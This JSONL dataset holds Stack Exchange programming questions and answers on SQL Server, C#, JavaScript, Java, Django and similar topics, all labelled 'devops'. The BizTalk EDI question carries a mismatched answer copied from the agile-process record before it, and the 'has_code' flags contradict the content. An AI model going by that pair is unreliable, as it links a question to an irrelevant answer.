{"id": "hf_16a726818e24", "question": "<p>I need to programmatically enable READ COMMITTED SNAPSHOT in SQL Server. How can I do that?</p>\n", "question_body": "", "answer": "```\n```\nALTER DATABASE [dbname] SET READ_COMMITTED_SNAPSHOT ON WITH ROLLBACK AFTER 20 SECONDS\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.130196"}
{"id": "hf_3e283c06845b", "question": "<p>I want to use the same functionality available when a Panel.AutoScroll is true, but with the scrollbars invisible.</p>\n\n<p>To do so I need to know how can I scroll to left/right up/down using functions in my code.</p>\n", "question_body": "", "answer": "You should be able to use the VerticalScroll and HorizontalScroll properties of the component:\n```\n```\nc.HorizontalScroll.Value += 100;\nc.VerticalScroll.Value = c.VerticalScroll.Maximum;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.153468"}
{"id": "hf_ddd28b11c7e2", "question": "<p>You can define a number in various ways in C#,</p>\n\n<pre><code>1F // a float with the value 1\n1L // a long with the value 1\n1D // a double with the value 1\n</code></pre>\n\n<p>personally I'm looking for which would a <code>short</code>, however to make the question a better reference for people, what are all the other post-fix's to number literals you can apply?</p>\n", "question_body": "", "answer": "for money:\n```\n```\ndecimal mon = 1m;\n```\n```\nfor output:\n```\n```\nstring curr = String.Format(\"{0:C}\", mon);  //output $1.00\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.236860"}
{"id": "hf_57c5d21462d3", "question": "<p>Is there a way for me to loop over a Javascript Object's built-in properties?</p>\n\n<p>for...in gets me close to where I want to go, but \"A for...in loop does not iterate over built-in properties.\"</p>\n", "question_body": "", "answer": "This will work with JSON. It hasn't been tested much:\n```\n```\n<style>\n.tree {\n    margin-left:5px;\n}\n</style>\n<div id='out'></div>\n<script type=\"text/javascript\">\ndata = {\"feep\":{\"bar\":{\"baz\":\"37628\",\"quux\":{\"a\":\"179\",\"b\":\"7\"}},\"foo\":\"1025\"},\"Bleh\":\"1234\"}\n$('out').innerHTML = renderJSON(data)\n\nfunction renderJSON(obj) {\n    var keys = []\n    var retValue = \"\"\n    for (var key in obj) {\n       //$('out').innerHTML = $('out').innerHTML +\"<br />\" + key + \", \" + obj[key]      \n        if(typeof obj[key] == 'object') {\n            retValue += \"<div class='tree'>\" + key                      \n            retValue += renderJSON(obj[key])\n            retValue += \"</div>\"\n        }\n        else {\n            retValue += \"<div class='tree'>\" + key + \" = \" + obj[key] + \"</div>\"\n        }\n\n       keys.push(key)\n    }\n    return retValue\n\n}\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.271998"}
{"id": "hf_284e3c8d3a2c", "question": "<p>See question above.</p>\n", "question_body": "", "answer": "Yes, use IKVM.\nhttp://www.ikvm.net/\nAnd it's incredibly easy to use:\n```\n```\nikvmc myjar.jar\n```\n```\noutputs myjar.dll", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.341635"}
{"id": "hf_51e602fa7fd4", "question": "<p>At what point in a team's growth must process change drastically?  A lone coder can get away with source control and a brain. A team trying to ship large prepackaged software to local and international markets must have a bit more in place. </p>\n\n<p>If you've experienced a large transition in 'process':  Was the team's process successfully changed with the current members or was the team itself mostly replaced by the time the process change came?  What were the important aspects that changed, were some unnecessary?</p>\n", "question_body": "", "answer": "If memory serves me correctly anything above five people is where things get dicey.  The number of paths of comunication between the team gets really large after that.\n(2 people = 1 path, 3 = 3 paths, 4 = 6 paths, 5 = 10 paths and so on).\nThe last three places I've been the IT team went through a massive process change.  Yes, you will lose people, probably some of the better ones too.  it's not that they are stubborn and trying to stick to the old ways, it's just that a change like this will cause a mass amount of stress.  There are deadlines to hit and a need for quality to be met.  People will get confused about what process they are supposed to do, and many will fall back to the \"old ways.\" (i've  been guilty of this too I admit.)\nThe key to succeeding is to take it slow and in small steps.  People need to take time to understand why the process is changing and how it benefits them.  That is huge, if you don't take time to do this, it won't succeed, and key people will end up quitting causing turmoil.\nOne of the things to absolutely remember is that ultimately some turnover is good.  It brings new ideas and people with different (and sometimes better) skill sets.  You shouldn't try and force change onto people rapidly, but they shouldn't be a barrier either.  If they don't agree with what is going on, they should either try and come to a middle ground with the people making the process or leave.  One of the real eye openers I learned at my first job is that in reality everyone is replaceable.  Someone will eventually be able to step in take the reigns.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.365114"}
{"id": "hf_cf2f24e5fd08", "question": "<p>I use div tags to define areas within my web pages.  I set all the obvious things like background, size, padding, etc.  But it is all very square.</p>\n\n<p>How can I use <strong>only</strong> CSS to round the corners?</p>\n", "question_body": "", "answer": "You would use the border-radius property.  However, this is only supported in CSS3, which no browser implements yet.  If you only need it to work in a couple browsers you could use -webkit-border-radius and -moz-border-radius which would let it work in Safari and Firefox respectively.\nIf you are not opposed to using images.  Here's s method I came up with for\nmaking rounded borders\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.400227"}
{"id": "hf_d3f834e246c4", "question": "<p>I currently have 2 <code>BufferedReader</code>s initialized on the same text file. When I'm done reading the text file with the first <code>BufferedReader</code>, I use the second one to make another pass through the file from the top. Multiple passes through the same file are necessary.</p>\n\n<p>I know about <code>reset()</code>, but it needs to be preceded with calling <code>mark()</code> and <code>mark()</code> needs to know the size of the file, something I don't think I should have to bother with.</p>\n\n<p>Ideas? Packages? Libs? Code?</p>\n\n<p>Thanks\nTJ</p>\n", "question_body": "", "answer": "What's the disadvantage of just creating a new\n```\nBufferedReader\n```\nto read from the top? I'd expect the operating system to cache the file if it's small enough.\nIf you're concerned about performance, have you proved it to be a bottleneck? I'd just do the simplest thing and not worry about it until you have a specific reason to. I mean, you could just read the whole thing into memory and then do the two passes on the result, but again that's going to be more complicated than just reading from the start again with a new reader.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.423778"}
{"id": "hf_0d1598129b5f", "question": "<p>We currently use VSS 6, this is not going to change I am afraid.</p>\n\n<p>I am attempting to write a script that will allow a user to quickly copy all files that they have checked out to another directory tree. In order to do this I need to get a list of all the files that the user has checked out, and the directory that the file is checked out to. This is easy enough to do using status search in the GUI. But I need a way of doing it from the command line utility ss.exe.</p>\n", "question_body": "", "answer": "See\nhere\nfor the command line usage of Status command. The command\n```\n```\nss.exe Status $/ -R -U\n```\n```\nshows every file in the system that is checked out by the current user.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.494260"}
{"id": "hf_a6366a896a5b", "question": "<p>Is there a canonical way to set up a JS onHover event with the existing onmouseover, onmouseout and some kind of timers?  Or just any method to fire an arbitrary function if and only if user has hovered over element for certain amount of time.</p>\n", "question_body": "", "answer": "Can you clarify your question? What is \"ohHover\" in this case and how does it correspond to a delay in hover time?\nThat said, I think what you probably want is...\n```\n```\nvar timeout;\nelement.onmouseover = function(e) {\n    timeout = setTimeout(function() {\n        // ...\n    }, delayTimeMs)\n};\nelement.onmouseout = function(e) {\n    if(timeout) {\n        clearTimeout(timeout);\n    }\n};\n```\n```\nOr\n```\naddEventListener\n```\n/\n```\nattachEvent\n```\nor your favorite library's event abstraction method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.597099"}
{"id": "hf_fae2447a0cd6", "question": "<p>1) user A goes to the site, creates an account, and logs in\n2) user b goes to the site.  Rather than having to log in, user b enters as though user b is user a.  User b gets access to all of user a's data and can brows the site as user a.</p>\n\n<p>Note: user b does not log in.  User b just hits the site, and the site returns as if user b is already logged in as user a.</p>\n\n<p>Note 2: user a and user b are on distinct computers.  Also, static variables are not involved in the code.</p>\n\n<p>Setup:\nIIS 6\n.Net 2.0\nOutputCache off for the pages in the site</p>\n", "question_body": "", "answer": "This question seems quite similar to\nApache/Tomcat error - wrong pages being delivered\n. As\nmy answer\nto that question mentions, if you use session cookies, check if your\n```\nVary\n```\nheader is correct.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.619301"}
{"id": "hf_a0b2fe4963cc", "question": "<p>I'm working on a project and I want to store some easily enumerated information in a table.  MySql's enum data type does exactly what I want: <a href=\"http://dev.mysql.com/doc/refman/5.0/en/enum.html\" rel=\"noreferrer\">http://dev.mysql.com/doc/refman/5.0/en/enum.html</a> .  Is there an equivalent in SQL Server 2005?</p>\n\n<p>I know I could store the possible values in a type table with a key, but I'd rather not have to link back to it for descriptions.  Our database standards don't allow us to link on non-integer or uniqueidentifier fields, so storing the possible keys as characters is out as well.</p>\n", "question_body": "", "answer": "Does this work for you?\nFrom\nhttp://blechie.com/wtilton/archive/2007/08/24/303.aspx\nCreate table...\nMySQL:\n```\n```\nColumnName ENUM('upload', 'open', 'close', 'delete', 'edit', 'add')\n   DEFAULT 'open'\n```\n```\nSQL Server:\n```\n```\nColumnName varchar(10) \n   CHECK(ColumnName IN ('upload', 'open', 'close', 'delete', 'edit', 'add')) \n   DEFAULT 'open'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.655134"}
{"id": "hf_493ede4b71cf", "question": "<p>Have you ever worked on a (full-time) project where using Agile methodologies actually allowed you to accomplish a 40-hour work-week? If so, what were the most valuable agile practices?</p>\n", "question_body": "", "answer": "Scrum and management that is willing to buy into it.\nFair sprint planning.  When you negotiate your own sprint you can choose what  your team can accomplish rather than have tasks being handed down from above. Having your sprint commitment locked in (management can't change it mid-sprint) gives freedom from the every changing whims of people.\nA well maintained, prioritized backlog that is maintained\ncooperatively\nby the product owner and upper management is very useful.  It forces them to sit down and think about the features they want, when they want them and the costs involved.  They will often say they need a feature\nnow\n, but when they realized they have to give up something else to get what they want their expectations become more realistic.\nTime boxing. if you are running into major problems start removing features from the sprint rather than working extra hours.\nYou need managerial support for you process without it agile is just a word.\nDid I mentioned enlightened management?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.690381"}
{"id": "hf_46cc223b6d9b", "question": "<p>I cannot find the translated file after running the solution in BizTalk 2006 Tutorial Lesson 3: Run the EDI-to-XML Solution. </p>\n\n<p>It should be placed in the c:\\Program Files\\Microsoft BizTalk Server 2006 \\EDI\\Adapter\\Getting Started with EDI\\Northwind\\In folder.</p>\n\n<p>The Base EDI adapter picks up the file in c:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\BizTalk Server 2006 \\EDI\\Subsystem\\Documents\\PickupEDI folder, but I cannot find the translated file in the X-12 4010 850 document format.</p>\n", "question_body": "", "answer": "Scrum and management that is willing to buy into it.\nFair sprint planning.  When you negotiate your own sprint you can choose what  your team can accomplish rather than have tasks being handed down from above. Having your sprint commitment locked in (management can't change it mid-sprint) gives freedom from the every changing whims of people.\nA well maintained, prioritized backlog that is maintained\ncooperatively\nby the product owner and upper management is very useful.  It forces them to sit down and think about the features they want, when they want them and the costs involved.  They will often say they need a feature\nnow\n, but when they realized they have to give up something else to get what they want their expectations become more realistic.\nTime boxing. if you are running into major problems start removing features from the sprint rather than working extra hours.\nYou need managerial support for you process without it agile is just a word.\nDid I mentioned enlightened management?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.709254"}
{"id": "hf_253595555e8c", "question": "<p>When would you call Java's <code>thread.run()</code> instead of <code>thread.start()</code>?</p>\n", "question_body": "", "answer": "Call\n```\nthread.start()\n```\n, it will in turn call\n```\nthread.run()\n```\n.  Can't think of a case when you would want to bypass\n```\nthread.start()\n```\nand go directly to\n```\nthread.run()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.729598"}
{"id": "hf_956cab8e770f", "question": "<p>I know that in JavaScript, creating a for loop like this: <code>for(int i = 0; i &lt; arr.length; i++)</code> is costly as it computes the array length each time.\nIs this behavior costly in c# for lists and arrays as well. Or at compile-time is it optimized?  Also what about other languages such as Java, how is this handled?</p>\n", "question_body": "", "answer": "It is\nnot\ncostly in C#. For one thing, there is no “calculation“: querying the length is basically an elementary operation thanks to inlining. And secondly, because (\naccording to its developers\n), the compiler recognizes this pattern of access and will in fact optimize any (redundant) boundary checks for access on array elements.\nAnd by the way, I believe that something similar is true for modern JavaScript virtual machines, and if it isn't already, it will be very soon since this is a trivial optimization.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.954086"}
{"id": "hf_d8b5139d4a37", "question": "<p>I'm trying to convert my sites from CF8 to openBD.  I have a cfloop in a site that loops over a date range.</p>\n\n<p>In essence, I want to insert a new record into the db for every 2 weeks (step) of a date range (from and to)</p>\n\n<p>my loop looks like this... </p>\n\n<pre><code>&lt;cfloop \n  from  = \"#form.startDate#\" \n  to    = \"#form.endDate#\" \n  index = \"i\" \n  step  = \"#theStep#\"\n&gt;\n</code></pre>\n\n<p>This works perfectly in CF8, in openBD, I get this error...\nData not supported: value [11/05/09] is not a number</p>\n\n<p>Any ideas of a work around?</p>\n\n<p>Thx</p>\n", "question_body": "", "answer": "I can't see your code, but here's my first suggestion:\n```\n```\n<cfset current = [your begin date]>\n<cfloop condition = \"datecompare(enddate, current)\">\n  [do stuff]\n  <cfset current = dateadd('d', 14, current)>\n</cfloop>\n```\n```\nHTH.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.978509"}
{"id": "hf_f3cc2ef35320", "question": "<p>I have a RegEx that is working for me but I don't know WHY it is working for me. I'll explain.</p>\n\n<pre><code>RegEx: \\s*&lt;in.*=\"(&lt;?.*?&gt;)\"\\s*/&gt;\\s*\n</code></pre>\n\n<p><br>\nText it finds (it finds the white-space before and after the input tag):</p>\n\n<pre><code>&lt;td class=\"style9\"&gt;\n      &lt;input name=\"guarantor4\" id=\"guarantor4\" size=\"50\" type=\"text\" tabindex=\"10\" value=\"&lt;?php echo $data[guarantor4]; ?&gt;\"  /&gt;    &lt;/td&gt;\n&lt;/tr&gt;\n</code></pre>\n\n<p><br>The part I don't understand:</p>\n\n<pre><code>&lt;in.*=\" &lt;--- As I understand it, this should only find up to the first =\" as in it should only find &lt;input name=\"\n\nIt actually finds: &lt;input name=\"guarantor4\" id=\"guarantor4\" size=\"50\" type=\"text\" tabindex=\"10\" value=\" which happened to be what I was trying to do.\n</code></pre>\n\n<p>What am I not understanding about this RegEx?</p>\n", "question_body": "", "answer": "```\n.*\n```\nis greedy. You want\n```\n.*?\n```\nto find up to only the first\n```\n=\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.012275"}
{"id": "hf_9c545648c6c2", "question": "<p>I have a web server that runs my web application.</p>\n\n<p>If I want to outsource my email to another provider, is it possible if they are on their on network/data center?</p>\n", "question_body": "", "answer": "Yes. To do this, you will need access to the DNS records for your domain. The MX record allows you to set up a mail server that's separate from the web server.\nGoogle offers a service that will manage your domain's email through GMail, and the instructions on how to reconfigure your DNS for this service can be found\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.071497"}
{"id": "hf_7b046e780194", "question": "<p>I'm working on a project for school, and I'm implementing a tool which can be used to download files from the web ( with a throttling option ). The thing is, I'm gonna have a GUI for it, and I will be using a <code>JProgressBar</code> widget, which I would like to show the current progress of the download. For that I would need to know the size of the file. How do you get the size of the file prior to downloading the file. </p>\n", "question_body": "", "answer": "Any HTTP response is\nsupposed\nto contain a Content-Length header, so you could query the URLConnection object for this value.\n```\n```\n//once the connection has been opened\nList values = urlConnection.getHeaderFields().get(\"content-Length\")\nif (values != null && !values.isEmpty()) {\n\n    // getHeaderFields() returns a Map with key=(String) header \n    // name, value = List of String values for that header field. \n    // just use the first value here.\n    String sLength = (String) values.get(0);\n\n    if (sLength != null) {\n       //parse the length into an integer...\n       ...\n    }\n```\n```\nIt might not always be possible for a server to return an accurate Content-Length, so the value could be inaccurate, but at least you would get\nsome\nusable value most of the time.\nupdate:\nOr, now that I look at the URLConnection javadoc more completely, you could just use the\ngetContentLength()\nmethod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.118544"}
{"id": "hf_fd7ec4360a0c", "question": "<p>I am looking for any and all suggestions of the <strong>best and effective resources</strong> that the StackOverflow community has used to better learn <strong>MSBuild with an emphasis on integrating unit tests</strong> and later static code analysis tools such as FxCop and StyleCop into the build process.</p>\n\n<p>I have tried to find good clear documentation on adding unit tests into my build but I still am searching - even Google searches have come up empty or with just bits and pieces.  Ideally I want to add unit tests, report results, and eventually add code coverage statistics, etc into the build results.</p>\n\n<p>I know it has to be in MSDN somewhere but I seem unable to find anything which explains and teaches well.  I am using Visual Studio Team System 2008.</p>\n", "question_body": "", "answer": "Continuous Integration From Theory to Practice\nby Carel Lotz.  It covers the entire scope of your problem, and then some.  Well written, complete, and a full sample are all there.\nHands down best resource.  Use it as a tutorial first, then use it as a guide, then use it as a reference.\nMSDN and others are good for clarifying (or confusing) the details.\nEdit:\nThe guide by Carel Lotz uses MBUnit for unit tests (see his earlier document version for NUnit, though you can replace the MBUnit with NUnit pretty easily if you follow the NUnit help files).\nAlso, it is written to use Cruise Control.NET to run the MSBuild script in various configurations.\nPersonally, I run unit tests in a secondary MSBuild script, but have found that wrapping the NUnit calls in MSBuild gives more flexibility than running from CCNet directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.201327"}
{"id": "hf_f795705124f7", "question": "<p>I'm currently developing an html/ajax air app and am about to invest some effort into making animations using jQuery. I could do this quite a bit easier using the css animations if air had that recent a version of WebKit. </p>\n\n<p>I know some people have alpha/beta versions of air 1.5. If you do, can you let me know?</p>\n", "question_body": "", "answer": "I don't know offhand what AIR 1.5's CSS capabilities are, but it is a build with SquirrelFish, if that helps you track it down.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.264564"}
{"id": "hf_e92ac3ec63c1", "question": "<p>Is there a way to emulate mixins or traits in java? basically, I need a way to do multiple inheritance so I can add common business logic to several classes</p>\n", "question_body": "", "answer": "Java's answer to multiple inheritance is the ability to implement multiple interfaces.  Of course, this means you'll get the method declarations, but not the logic.\nYou could try emulating mixins by composition: your Java class could define member variables that represent other classes that perform some common business logic.\nIn designing Java classes, I have not found the lack of C++ style multiple inheritance to inhibit the design of my architecture.  You will find a way to achieve what you want to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.325561"}
{"id": "hf_dccc982d3cbe", "question": "<p>I'm writing an image bank with Django, and I want to add a  button to get a hi-res version of an image (the low-res is shown in the details page).  If I put just an <code>&lt;a&gt;</code> link, the browser will open the image instead of downloading it.  Adding an HTTP header like:</p>\n\n<pre><code>Content-Disposition: attachment; filename=\"beach008.jpg\"\n</code></pre>\n\n<p>works, but since it's an static file, I don't want to handle the request with Django.  Currently, I'm using NGINX to serve static files, and dynamic pages are redirected via FastCGI to the Django process.  I'm thinking about using NGINX <code>add-header</code> command, but could it set the <code>filename=\"xx\"</code> part?.  Or maybe there's some way to handle the request in Django, but make NGINX serve the content?</p>\n", "question_body": "", "answer": "I wrote a simple decorator, for django.views.static.serve view\nWhich works for me perfectly.\n```\n```\ndef serve_download(view_func):\n    def _wrapped_view_func(request, *args, **kwargs):\n        response = view_func(request, *args, **kwargs)\n        response['Content-Type'] = 'application/octet-stream';\n        import os.path\n        response['Content-Disposition'] = 'attachment; filename=\"%s\"' % os.path.basename(kwargs['path'])\n        return response\n    return _wrapped_view_func\n```\n```\nAlso you can play with nginx mime-types\nhttp://wiki.codemongers.com/NginxHttpCoreModule#types\nThis solution didn't work for me, because I wanted to have both direct link for the file (so user can view images, for example), and download link.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.353833"}
{"id": "hf_c9a31aa4e3c4", "question": "<p>You used to be able to get the package a Delphi component was installed under from the palette. That functionality doesn't seem to be in the lastest versions, though.  How can I find which package a component belongs to under D2007 or D2009?</p>\n", "question_body": "", "answer": "I don't know of any way to do this through the Delphi IDE. However, you can do a search in your registry for the component name. For instance, to find the package that TBitBtn belongs to, open RegEdit and do a search (on Keys only) for TBitBtn. The entry for TBitBtn has a value called \"Package Name\". This is the internal name of the package, which is probably still not quite what you are looking for. Copy the \"Package Name\" value (dclstd100.bpl in my case), and do a search from the top (on Values this time) for that value. Once this entry is found you will see the \"friendly\" package name in the \"Data\" column.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.389972"}
{"id": "hf_283cd36dfd24", "question": "<p>I am looking for a backend solution for an application written in Ruby on Rails or Merb to handle data with several billions of records. I have a feeling that I'm supposed to go with a distributed model and at the moment I looked at </p>\n\n<p><a href=\"http://hadoop.apache.org/hbase/\" rel=\"nofollow noreferrer\">HBase</a> with <a href=\"http://hadoop.apache.org/core/\" rel=\"nofollow noreferrer\">Hadoop</a> </p>\n\n<p><a href=\"http://incubator.apache.org/couchdb/\" rel=\"nofollow noreferrer\">Couchdb</a></p>\n\n<p>Problems with HBase solution as I see it -- ruby support is not very strong, and  Couchdb did not reach 1.0 version yet.</p>\n\n<p>Do you have suggestion what would you use for such a big amount of data?</p>\n\n<p>Data will require rather fast imports sometimes of 30-40Mb at once, but imports will come in chunks. So ~95% of the time data will be read only.</p>\n", "question_body": "", "answer": "There's a number of different solutions people have used. In my experience it really depends more on your usage patterns related to that data and not the sheer number of rows per table.\nFor example, \"How many inserts/updates per second are occurring.\" Questions like these will play into your decision of what back-end database solution you'll choose.\nTake Google for example: There didn't really exist a storage/search solution that satisfied their needs, so they created their own based on a Map/Reduce model.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.438087"}
{"id": "hf_fd47a167b1ef", "question": "<p>In a tightly looped test application that prints out the value of <code>DateTime.UtcNow.Ticks</code>, I notice that the value will jump a remarkable amount once every hour or so.  Look closely at the following sample data:</p>\n\n<pre><code>1:52:14.312 PM - 633614215343125000\n1:52:14.359 PM - 633614215343593750\n1:52:14.421 PM - 633614215344218750\n1:52:14.468 PM - 633614215344687500\n1:52:14.515 PM - 633614215998593750 &lt;-- WAY different\n</code></pre>\n\n<p>The delta is 653906250 ticks (65.390 seconds).  The only reason I can come up with is that the Windows Time service is doing some synchronization from underneath my feet.  </p>\n\n<ul>\n<li>Are there any experts out there that can confirm this?  </li>\n<li>Drifting a minute or so in about an hour seems pretty bad to me, but is that the case here?</li>\n</ul>\n", "question_body": "", "answer": "Can you post code to show how you generated this data?  And provide details about the machine you are running this on?\nUsing the following, I'm not getting what you are getting.\n```\n```\nfor (int i = 0; i < 10; i++)\n        {\n\n            Console.WriteLine(DateTime.Now.ToLongTimeString().ToString() + \" - \" + DateTime.UtcNow.Ticks.ToString());\n\n            Thread.Sleep(10);\n        }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.526461"}
{"id": "hf_8b795ebad462", "question": "<p>I'm working with jQuery and looking to see if there is an easy way to determine if the element has a specific CSS class associated with it.</p>\n\n<p>I have the id of the element, and the CSS class that I'm looking for.  I just need to be able to, in an if statement, do a comparison based on the existence of that class on the element.</p>\n", "question_body": "", "answer": "Use the\n```\nhasClass\n```\nmethod:\n```\n```\njQueryCollection.hasClass(className);\n```\n```\nor\n```\n```\n$(selector).hasClass(className);\n```\n```\nThe argument is (obviously) a string representing the class you are checking, and it returns a boolean (so it doesn't support chaining like most jQuery methods).\nNote:\nIf you pass a\n```\nclassName\n```\nargument that contains whitespace, it will be matched literally against the collection's elements'\n```\nclassName\n```\nstring. So if, for instance, you have an element,\n```\n```\n<span class=\"foo bar\" />\n```\n```\nthen this will return\n```\ntrue\n```\n:\n```\n```\n$('span').hasClass('foo bar')\n```\n```\nand these will return\n```\nfalse\n```\n:\n```\n```\n$('span').hasClass('bar foo')\n$('span').hasClass('foo  bar')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.550863"}
{"id": "hf_99e42a20a376", "question": "<p>Is there a way, within the .net framework, to check to see if two different shared folders are actually pointing to the same physical directory?  Do directories in Windows have some sort of unique identifier?  Google-fu is failing me.</p>\n\n<p>(I mean, aside from writing a temp file to one and seeing if it appears in the other)</p>\n\n<p>Edit: I think I've discovered what I need,with thanks to Brody for getting me pointed in the right direction in the System.Management namespace.</p>\n", "question_body": "", "answer": "You can examine the share definition itself by using the System.Management namespace but it is not easy to use.\nit starts something like\n```\n```\nManagementClass management = new ManagementClass(\"\\\\\\\\.\\\\root\\\\cimv2\", \"Win32_Share\", null)\n```\n```\nAnd it gets much worse after that.  I have used it to create a share.  Hopefully you can use it to the path for each share and compare.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.611527"}
